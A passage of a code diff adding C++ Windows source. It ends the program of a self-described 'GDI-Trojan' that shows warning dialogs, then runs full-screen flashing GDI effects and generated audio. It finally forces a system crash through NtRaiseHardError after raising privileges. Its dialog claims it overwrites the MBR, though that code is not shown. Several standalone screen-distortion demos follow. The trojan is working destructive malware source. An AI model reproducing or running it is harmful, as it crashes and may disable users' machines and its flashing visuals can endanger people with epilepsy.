+ SelectObject(mdc, hbit);
219
+ SetStretchBltMode(hdc, STRETCH_ORSCANS);
220
+ SetStretchBltMode(mdc, STRETCH_ORSCANS);
221
+ StretchBlt(mdc, 0, 0, w/10, h/10, hdc, 0, 0, w, h, SRCCOPY);
222
+ StretchBlt(hdc, 0, 0, w, h, mdc, 0, 0, w/10, h/10, SRCCOPY);
223
+ SelectObject(hdc, hpat);
224
+ PatBlt(hdc, 0, 0, w, rand() % h, PATCOPY);
225
+ DeleteObject(hpat);
226
+ ReleaseDC(0, hdc);
227
+ Sleep(10);
228
+ }
229
+ }
230
+
231
+
232
+
233
+
234
+
235
+ void Sound1() {
236
+ HWAVEOUT hwo = 0;
237
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 17000, 17000, 1, 8, 0 };
238
+ waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
239
+ char buffer[17000 * 15] = {};
240
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
241
+ buffer[t] = static_cast<char>((t^t*(t>>12))&18);
242
+
243
+ WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
244
+ waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
245
+ waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
246
+ waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
247
+ waveOutClose(hwo);
248
+ }
249
+
250
+ void Sound3() {
251
+ HWAVEOUT hwo = 0;
252
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
253
+ waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
254
+ char buffer[17000 * 25] = {};
255
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
256
+ buffer[t] = static_cast<char>(t*(t^8|t^5)/0x144);
257
+
258
+ WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
259
+ waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
260
+ waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
261
+ waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
262
+ waveOutClose(hwo);
263
+ }
264
+
265
+ void Sound4() {
266
+ HWAVEOUT hwo = 0;
267
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
268
+ waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
269
+ char buffer[32000 * 30] = {};
270
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
271
+ buffer[t] = static_cast<char>(t^(t>>6)-t);
272
+
273
+ WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
274
+ waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
275
+ waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
276
+ waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
277
+ waveOutClose(hwo);
278
+ }
279
+
280
+ void Sound5() {
281
+ HWAVEOUT hwo = 0;
282
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 16000, 16000, 1, 8, 0 };
283
+ waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
284
+ char buffer[16000 * 22] = {};
285
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
286
+ buffer[t] = static_cast<char>((t^(t>>5|t>>8*t))%50);
287
+
288
+ WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
289
+ waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
290
+ waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
291
+ waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
292
+ waveOutClose(hwo);
293
+ }
294
+
295
+ void Sound6() {
296
+ HWAVEOUT hwo = 0;
297
+ WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
298
+ waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
299
+ char buffer[32000 * 5] = {};
300
+ for (DWORD t = 0; t < sizeof(buffer); ++t)
301
+ buffer[t] = static_cast<char>(t*rand());
302
+
303
+ WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
304
+ waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
305
+ waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
306
+ waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
307
+ waveOutClose(hwo);
308
+ }
309
+
310
+
311
+
312
+ int CALLBACK WinMain(
313
+ HINSTANCE hInstance, HINSTANCE hPrevInstance,
314
+ LPSTR lpCmdLine, int nCmdShow
315
+ )
316
+ {
317
+ if (MessageBoxW(NULL, L"You are about to run the UnunenniumA.exe Trojan horse that will overwrite your MBR and make this device unusable.\r\nIf you are seeing this without knowing what you just executed, just hit No and nothing bad will happen.\r\nBut, if you\'re taking a risk, or running it in a safe environment, like a virtual machine, hit Yes.\r\n\r\nIf you are running this on physical hardware, shut it down and delete this file quickly!\r\nVenra is not responsible for any epilepsy made using this malware, reverse engineering it, or any artificial removal of this disclaimer!\r\nStill execute the malware?", L"GDI-Trojan.Win32.UnunenniumA - Malware Execution Alert", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
318
+ {
319
+ ExitProcess(0);
320
+ }
321
+ else
322
+ {
323
+ if (MessageBoxW(NULL, L"This is your final warning!\r\n\r\nThe creator of this malware is not responsible for any Epilepsy, as it was made for entertainment and scientific purposes only.\r\nShut this file down and delete it quickly, or hit Yes if you\'re running it on a VM.\r\nThis is your last chance.", L"GDI-Trojan.Win32.UnunenniumA - Final Warning", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
324
+ {
325
+ ExitProcess(0);
326
+ }
327
+ else
328
+ {
329
+ Sleep(2000);
330
+ HANDLE thread1 = CreateThread(0, 0, Split1, 0, 0, 0);
331
+ Sound1();
332
+ Sleep(15000);
333
+ TerminateThread(thread1, 0);
334
+ CloseHandle(thread1);
335
+ InvalidateRect(0, 0, 0);
336
+ HANDLE thread2 = CreateThread(0, 0, SustainEpicPayload, 0, 0, 0);
337
+ // Sound2();
338
+ Sleep(15000);
339
+ TerminateThread(thread2, 0);
340
+ CloseHandle(thread2);
341
+ InvalidateRect(0, 0, 0);
342
+ HANDLE thread3 = CreateThread(0, 0, SrcpaintDisp, 0, 0, 0);
343
+ HANDLE thread3dot1 = CreateThread(0, 0, Bounce, 0, 0, 0);
344
+ HANDLE thread3dot2 = CreateThread(0, 0, anglezoomer, 0, 0, 0);
345
+ Sound3();
346
+ Sleep(25000);
347
+ TerminateThread(thread3, 0);
348
+ TerminateThread(thread3dot2, 0);
349
+ CloseHandle(thread3);
350
+ CloseHandle(thread3dot2);
351
+ InvalidateRect(0, 0, 0);
352
+ HANDLE thread4 = CreateThread(0, 0, gradienttriangle, 0, 0, 0);
353
+ HANDLE thread4dot1 = CreateThread(0, 0, trigonshake, 0, 0, 0);
354
+ Sound4();
355
+ Sleep(30000);
356
+ TerminateThread(thread4, 0);
357
+ TerminateThread(thread4dot1, 0);
358
+ CloseHandle(thread4);
359
+ CloseHandle(thread4dot1);
360
+ InvalidateRect(0, 0, 0);
361
+ HANDLE thread5 = CreateThread(0, 0, melt, 0, 0, 0);
362
+ HANDLE thread5dot1 = CreateThread(0, 0, setshake, 0, 0, 0);
363
+ Sound5();
364
+ Sleep(22000);
365
+ TerminateThread(thread5, 0);
366
+ TerminateThread(thread5dot1, 0);
367
+ TerminateThread(thread3dot1, 0);
368
+ CloseHandle(thread5);
369
+ CloseHandle(thread5dot1);
370
+ CloseHandle(thread3dot1);
371
+ InvalidateRect(0, 0, 0);
372
+ HANDLE end = CreateThread(0, 0, patstatic, 0, 0, 0);
373
+ Sound6();
374
+ Sleep(5000);
375
+ BOOLEAN bl;
376
+ DWORD response;
377
+ NRHEdef NtRaiseHardError = (NRHEdef)GetProcAddress(LoadLibraryW(L"ntdll"), "NtRaiseHardError");
378
+ RAPdef RtlAdjustPrivilege = (RAPdef)GetProcAddress(LoadLibraryW(L"ntdll"), "RtlAdjustPrivilege");
379
+ RtlAdjustPrivilege(19, 1, 0, &bl);
380
+ NtRaiseHardError(0xC00002AC, 0, 0, 0, 6, &response);
381
+ Sleep(-1);
382
+
383
+
384
+ }}}
src/GDI-effects-main/README.md ADDED
@@ -0,0 +1 @@
 
 
1
+ GDI effects made in C++
src/GDI-effects-main/hslrotozoomer.cpp ADDED
@@ -0,0 +1,90 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <math.h>
3
+
4
+ COLORREF COLORHSL(int length) {
5
+ double h = fmod(length, 360.0);
6
+ double s = 1.0;
7
+ double l = 0.5;
8
+
9
+ double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
10
+ double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
11
+ double m = l - c / 2.0;
12
+
13
+ double r1, g1, b1;
14
+ if (h < 60) {
15
+ r1 = c;
16
+ g1 = x;
17
+ b1 = 0;
18
+ }
19
+ else if (h < 120) {
20
+ r1 = x;
21
+ g1 = c;
22
+ b1 = 0;
23
+ }
24
+ else if (h < 180) {
25
+ r1 = 0;
26
+ g1 = c;
27
+ b1 = x;
28
+ }
29
+ else if (h < 240) {
30
+ r1 = 0;
31
+ g1 = x;
32
+ b1 = c;
33
+ }
34
+ else if (h < 300) {
35
+ r1 = x;
36
+ g1 = 0;
37
+ b1 = c;
38
+ }
39
+ else {
40
+ r1 = c;
41
+ g1 = 0;
42
+ b1 = x;
43
+ }
44
+
45
+ int red = static_cast<int>((r1 + m) * 255);
46
+ int green = static_cast<int>((g1 + m) * 255);
47
+ int blue = static_cast<int>((b1 + m) * 255);
48
+
49
+ return RGB(red, green, blue);
50
+ }
51
+
52
+ int main() {
53
+ int x = GetSystemMetrics(SM_CXSCREEN);
54
+ int y = GetSystemMetrics(SM_CYSCREEN);
55
+ double angle = 0.0;
56
+ double zoom = 1.0;
57
+
58
+ DWORD* data = new DWORD[4 * x * y];
59
+ HDC hdc = GetDC(0);
60
+ HDC mdc = CreateCompatibleDC(hdc);
61
+ HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
62
+ SelectObject(mdc, bmp);
63
+
64
+ while (true) {
65
+ StretchBlt(mdc, 0, 0, x, y, hdc, 0, 0, x, y, SRCCOPY);
66
+ GetBitmapBits(bmp, 4 * x * y, data);
67
+
68
+ for (int x2 = 0; x2 < x; x2++) {
69
+ for (int y2 = 0; y2 < y; y2++) {
70
+ int cx = x2 - (x / 2);
71
+ int cy = y2 - (y / 2);
72
+
73
+ int zx = (int)((cx * cos(angle) - cy * sin(angle)) / zoom);
74
+ int zy = (int)((cx * sin(angle) + cy * cos(angle)) / zoom);
75
+
76
+ data[y2 * x + x2] = COLORHSL((sqrt(zx * zx ^ zy * zy)) + (sqrt(zx * zx + zy * zy)));
77
+ }
78
+ }
79
+
80
+ SetBitmapBits(bmp, 4 * x * y, data);
81
+ StretchBlt(hdc, 0, 0, x, y, mdc, 0, 0, x, y, SRCCOPY);
82
+
83
+ Sleep(10);
84
+
85
+ zoom += 0.01;
86
+ angle += 0.01;
87
+ }
88
+
89
+ return 0;
90
+ }
src/GDI-effects-main/hslshader1.cpp ADDED
@@ -0,0 +1,99 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <MATH.h>
3
+
4
+ COLORREF COLORHSL(int length) {
5
+ double h = fmod(length, 360.0);
6
+ double s = 1.0;
7
+ double l = 0.5;
8
+
9
+ double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
10
+ double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
11
+ double m = l - c / 2.0;
12
+
13
+ double r1, g1, b1;
14
+ if (h < 60) {
15
+ r1 = c;
16
+ g1 = x;
17
+ b1 = 0;
18
+ }
19
+ else if (h < 120) {
20
+ r1 = x;
21
+ g1 = c;
22
+ b1 = 0;
23
+ }
24
+ else if (h < 180) {
25
+ r1 = 0;
26
+ g1 = c;
27
+ b1 = x;
28
+ }
29
+ else if (h < 240) {
30
+ r1 = 0;
31
+ g1 = x;
32
+ b1 = c;
33
+ }
34
+ else if (h < 300) {
35
+ r1 = x;
36
+ g1 = 0;
37
+ b1 = c;
38
+ }
39
+ else {
40
+ r1 = c;
41
+ g1 = 0;
42
+ b1 = x;
43
+ }
44
+
45
+ int red = static_cast<int>((r1 + m) * 255);
46
+ int green = static_cast<int>((g1 + m) * 255);
47
+ int blue = static_cast<int>((b1 + m) * 255);
48
+
49
+ return RGB(red, green, blue);
50
+ }
51
+
52
+ typedef union COLOR {
53
+ COLORREF rgb;
54
+ struct {
55
+ BYTE blue;
56
+ BYTE green;
57
+ BYTE red;
58
+ };
59
+ } COLOR;
60
+
61
+ DWORD WINAPI shader4(LPVOID lpParam) {
62
+ int x = GetSystemMetrics(SM_CXSCREEN);
63
+ int y = GetSystemMetrics(SM_CYSCREEN);
64
+ int j = 1;
65
+ int c = 0;
66
+
67
+ COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
68
+ HDC hdc = GetDC(0);
69
+ HDC mdc = CreateCompatibleDC(hdc);
70
+ HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
71
+ SelectObject(mdc, bmp);
72
+
73
+ while (true) {
74
+ BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
75
+ GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
76
+
77
+ for (int x2 = 0; x2 < x; x2++) {
78
+ for (int y2 = 0; y2 < y; y2++) {
79
+ int j = c * 4;
80
+
81
+ int wave = (int)(j + (j * cbrt(((x2 * x2) - (y2 * y2)) / 64)));
82
+
83
+ data[y2 * x + x2].rgb = COLORHSL((x * y) + wave);
84
+ }
85
+ }
86
+ c++;
87
+
88
+ SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
89
+ BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
90
+
91
+ Sleep(10);
92
+ }
93
+ }
94
+
95
+ int main() {
96
+ CreateThread(0, 0, shader4, 0, 0, 0);
97
+ Sleep(-1);
98
+ return 0;
99
+ }
src/GDI-effects-main/hsvrotozoomer.cpp ADDED
@@ -0,0 +1,87 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <math.h>
3
+
4
+ //function made by me (raduminecraft) and modified by friesandlettuce
5
+ COLORREF COLORHSV(int HSV) {
6
+ double h = fmod(HSV, 360.0);
7
+ double s = 1.0;
8
+ double l = 0.5;
9
+ double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
10
+ double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
11
+ double m = l - c / 2.0;
12
+ double r1, g1, b1;
13
+ if (h < 60) {
14
+ r1 = c;
15
+ g1 = x;
16
+ b1 = c;
17
+ }
18
+ else if (h < 120) {
19
+ r1 = x;
20
+ g1 = c;
21
+ b1 = x;
22
+ }
23
+ else if (h < 190) {
24
+ r1 = x;
25
+ g1 = c;
26
+ b1 = x;
27
+ }
28
+ else if (h < 250) {
29
+ r1 = c;
30
+ g1 = x;
31
+ b1 = c;
32
+ }
33
+ else if (h < 200) {
34
+ r1 = x;
35
+ g1 = 0;
36
+ b1 = c;
37
+ }
38
+ else {
39
+ r1 = c;
40
+ g1 = x;
41
+ b1 = x;
42
+ }
43
+ int red = static_cast<int>((r1 + m) * 255);
44
+ int green = static_cast<int>((g1 + m) * 255);
45
+ int blue = static_cast<int>((b1 + m) * 255);
46
+ return RGB(red, green, blue);
47
+ }
48
+
49
+ int main() {
50
+ int x = GetSystemMetrics(SM_CXSCREEN);
51
+ int y = GetSystemMetrics(SM_CYSCREEN);
52
+ double angle = 0.0;
53
+ double zoom = 1.0;
54
+
55
+ DWORD* data = new DWORD[4 * x * y];
56
+ HDC hdc = GetDC(0);
57
+ HDC mdc = CreateCompatibleDC(hdc);
58
+ HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
59
+ SelectObject(mdc, bmp);
60
+
61
+ while (true) {
62
+ StretchBlt(mdc, 0, 0, x, y, hdc, 0, 0, x, y, SRCCOPY);
63
+ GetBitmapBits(bmp, 4 * x * y, data);
64
+
65
+ for (int x2 = 0; x2 < x; x2++) {
66
+ for (int y2 = 0; y2 < y; y2++) {
67
+ int cx = x2 - (x / 2);
68
+ int cy = y2 - (y / 2);
69
+
70
+ int zx = (int)((cx * cos(angle) - cy * sin(angle)) / zoom);
71
+ int zy = (int)((cx * sin(angle) + cy * cos(angle)) / zoom);
72
+
73
+ data[y2 * x + x2] = COLORHSV((sqrt(zx * zx ^ zy * zy)) + (sqrt(zx * zx + zy * zy)));
74
+ }
75
+ }
76
+
77
+ SetBitmapBits(bmp, 4 * x * y, data);
78
+ StretchBlt(hdc, 0, 0, x, y, mdc, 0, 0, x, y, SRCCOPY);
79
+
80
+ Sleep(10);
81
+
82
+ zoom += 0.01;
83
+ angle += 0.01;
84
+ }
85
+
86
+ return 0;
87
+ }
src/GDI-effects-main/rgbshader.cpp ADDED
@@ -0,0 +1,114 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <math.h>
3
+
4
+ COLORREF COLORHSL(int length) {
5
+ double h = fmod(length, 360.0);
6
+ double s = 1.0;
7
+ double l = 0.5;
8
+
9
+ double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
10
+ double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
11
+ double m = l - c / 2.0;
12
+
13
+ double r1, g1, b1;
14
+ if (h < 60) {
15
+ r1 = c;
16
+ g1 = x;
17
+ b1 = 0;
18
+ }
19
+ else if (h < 120) {
20
+ r1 = x;
21
+ g1 = c;
22
+ b1 = 0;
23
+ }
24
+ else if (h < 180) {
25
+ r1 = 0;
26
+ g1 = c;
27
+ b1 = x;
28
+ }
29
+ else if (h < 240) {
30
+ r1 = 0;
31
+ g1 = x;
32
+ b1 = c;
33
+ }
34
+ else if (h < 300) {
35
+ r1 = x;
36
+ g1 = 0;
37
+ b1 = c;
38
+ }
39
+ else {
40
+ r1 = c;
41
+ g1 = 0;
42
+ b1 = x;
43
+ }
44
+
45
+ int red = static_cast<int>((r1 + m) * 255);
46
+ int green = static_cast<int>((g1 + m) * 255);
47
+ int blue = static_cast<int>((b1 + m) * 255);
48
+
49
+ return RGB(red, green, blue);
50
+ }
51
+
52
+ typedef union COLOR {
53
+ COLORREF rgb;
54
+ struct {
55
+ BYTE blue;
56
+ BYTE green;
57
+ BYTE red;
58
+ };
59
+ } COLOR;
60
+
61
+ double intensity = 0.0;
62
+ bool state = false;
63
+
64
+ double fade(double maxIntensity) {
65
+ if (state == false) {
66
+ intensity += 1.0;
67
+ if (intensity >= maxIntensity) {
68
+ state = true;
69
+ }
70
+ }
71
+ else {
72
+ intensity -= 1.0;
73
+ if (intensity <= 0) {
74
+ state = false;
75
+ }
76
+ }
77
+ return intensity;
78
+ }
79
+
80
+ DWORD WINAPI shader4(LPVOID lpParam) {
81
+ int x = GetSystemMetrics(SM_CXSCREEN);
82
+ int y = GetSystemMetrics(SM_CYSCREEN);
83
+ int r = 0;
84
+ double j = 1;
85
+
86
+ COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
87
+ HDC hdc = GetDC(0);
88
+ HDC mdc = CreateCompatibleDC(hdc);
89
+ HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
90
+ SelectObject(mdc, bmp);
91
+
92
+ while (true) {
93
+ BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
94
+ GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
95
+
96
+ for (int i = 0; i < x * y; i++) {
97
+ int red = (data[i].red + ((i % x))) % 255;
98
+ int green = (data[i].green + ((i % x))) % 255;
99
+ int blue = (data[i].blue + ((i % x))) % 255;
100
+
101
+ data[i].rgb = COLORHSL(i / (fade(505) + 55));
102
+ }
103
+
104
+ SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
105
+ BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
106
+
107
+ Sleep(10);
108
+ }
109
+ }
110
+
111
+ int main() {
112
+ CreateThread(0, 0, shader4, 0, 0, 0);
113
+ Sleep(-1);
114
+ }
src/GDI-effects-main/shader.cpp ADDED
@@ -0,0 +1,53 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // shader.cpp : This file contains the 'main' function. Program execution begins and ends there.
2
+ //
3
+
4
+ #include <windows.h>
5
+
6
+ int main()
7
+ {
8
+ //Get screen sizes
9
+ int x = GetSystemMetrics(SM_CXSCREEN);
10
+ int y = GetSystemMetrics(SM_CYSCREEN);
11
+ int size = x * y;
12
+ DWORD* pixels = (DWORD*)VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
13
+ while (true) {
14
+ //Prepare the pixels
15
+ PRGBTRIPLE rgb;
16
+ HDC hdc = GetDC(0);
17
+ HDC mdc = CreateCompatibleDC(hdc);
18
+ BITMAPINFO bmi = { 40, x, y, 1, 24 };
19
+ HBITMAP bitmap = CreateDIBSection(hdc, &bmi, 0, (void**)&rgb, 0, 0);
20
+
21
+ //Read the pixels
22
+ SelectObject(mdc, bitmap);
23
+ BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
24
+
25
+ //Write the pixels
26
+ for (int i = 0; i < size; i++) {
27
+ rgb[i].rgbtRed += GetRValue(i) * 10;
28
+ rgb[i].rgbtGreen += GetGValue(i) * 10;
29
+ rgb[i].rgbtBlue += GetBValue(i) * 10;
30
+ }
31
+
32
+ BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
33
+ Sleep(10);
34
+
35
+ //Delete objects so the program won't use more and more memory
36
+ ReleaseDC(0, hdc);
37
+ DeleteObject(bitmap);
38
+ DeleteObject(rgb);
39
+ DeleteDC(hdc);
40
+ DeleteDC(mdc);
41
+ }
42
+ }
43
+
44
+ // Run program: Ctrl + F5 or Debug > Start Without Debugging menu
45
+ // Debug program: F5 or Debug > Start Debugging menu
46
+
47
+ // Tips for Getting Started:
48
+ // 1. Use the Solution Explorer window to add/manage files
49
+ // 2. Use the Team Explorer window to connect to source control
50
+ // 3. Use the Output window to see build output and other messages
51
+ // 4. Use the Error List window to view errors
52
+ // 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project
53
+ // 6. In the future, to open this project again, go to File > Open > Project and select the .sln file
src/GDI-effects-main/shader2.cpp ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <math.h>
3
+
4
+ typedef union COLOR {
5
+ COLORREF rgb;
6
+ struct {
7
+ BYTE blue;
8
+ BYTE green;
9
+ BYTE red;
10
+ };
11
+ } COLOR;
12
+
13
+ DWORD WINAPI shader7(LPVOID lpParam) {
14
+ int x = GetSystemMetrics(SM_CXSCREEN);
15
+ int y = GetSystemMetrics(SM_CYSCREEN);
16
+ int j = 1;
17
+ int c = 0;
18
+
19
+ COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
20
+ HDC hdc = GetDC(0);
21
+ HDC mdc = CreateCompatibleDC(hdc);
22
+ HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
23
+ SelectObject(mdc, bmp);
24
+
25
+ while (true) {
26
+ BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
27
+ GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
28
+
29
+ for (int x2 = 0; x2 < x; x2++) {
30
+ for (int y2 = 0; y2 < y; y2++) {
31
+ int j = c * 4;
32
+
33
+ int wave = (int)(j + (j * tan((x2 * x2) + (y2 * y2)) / 64));
34
+
35
+ data[y2 * x + x2].rgb += wave;
36
+ }
37
+ }
38
+ c++;
39
+
40
+ SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
41
+ BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
42
+
43
+ Sleep(10);
44
+ }
45
+ }
46
+
47
+ int main() {
48
+ CreateThread(0, 0, shader7, 0, 0, 0);
49
+ Sleep(-1);
50
+ }
src/GDI-effects-main/shader3.cpp ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <math.h>
3
+
4
+ typedef union COLOR {
5
+ COLORREF rgb;
6
+ struct {
7
+ BYTE blue;
8
+ BYTE green;
9
+ BYTE red;
10
+ };
11
+ } COLOR;
12
+
13
+ DWORD WINAPI shader7(LPVOID lpParam) {
14
+ int x = GetSystemMetrics(SM_CXSCREEN);
15
+ int y = GetSystemMetrics(SM_CYSCREEN);
16
+ int j = 1;
17
+ int c = 0;
18
+
19
+ COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
20
+ HDC hdc = GetDC(0);
21
+ HDC mdc = CreateCompatibleDC(hdc);
22
+ HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
23
+ SelectObject(mdc, bmp);
24
+
25
+ while (true) {
26
+ BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
27
+ GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
28
+
29
+ for (int x2 = 0; x2 < x; x2++) {
30
+ for (int y2 = 0; y2 < y; y2++) {
31
+ int j = c * 4;
32
+
33
+ int wave = (int)(j + (j * ((x2 * x2) + (y2 * y2)) / 64));
34
+
35
+ data[y2 * x + x2].rgb += wave;
36
+ }
37
+ }
38
+ c++;
39
+
40
+ SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
41
+ BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
42
+
43
+ Sleep(10);
44
+ }
45
+ }
46
+
47
+ int main() {
48
+ CreateThread(0, 0, shader7, 0, 0, 0);
49
+ Sleep(-1);
50
+ }
src/GDI-effects-main/shader4.cpp ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <math.h>
3
+
4
+ typedef union COLOR {
5
+ COLORREF rgb;
6
+ struct {
7
+ BYTE blue;
8
+ BYTE green;
9
+ BYTE red;
10
+ };
11
+ } COLOR;
12
+
13
+ double intensity = 0.0;
14
+ bool state = false;
15
+
16
+ double fade(double maxIntensity) {
17
+ if (state == false) {
18
+ intensity += 1.0;
19
+ if (intensity >= maxIntensity) {
20
+ state = true;
21
+ }
22
+ }
23
+ else {
24
+ intensity -= 1.0;
25
+ if (intensity <= 0) {
26
+ state = false;
27
+ }
28
+ }
29
+ return intensity;
30
+ }
31
+
32
+ DWORD WINAPI shader3b(LPVOID lpParam) {
33
+ int x = GetSystemMetrics(SM_CXSCREEN);
34
+ int y = GetSystemMetrics(SM_CYSCREEN);
35
+ int r = 0;
36
+
37
+ COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
38
+ HDC hdc = GetDC(0);
39
+ HDC mdc = CreateCompatibleDC(hdc);
40
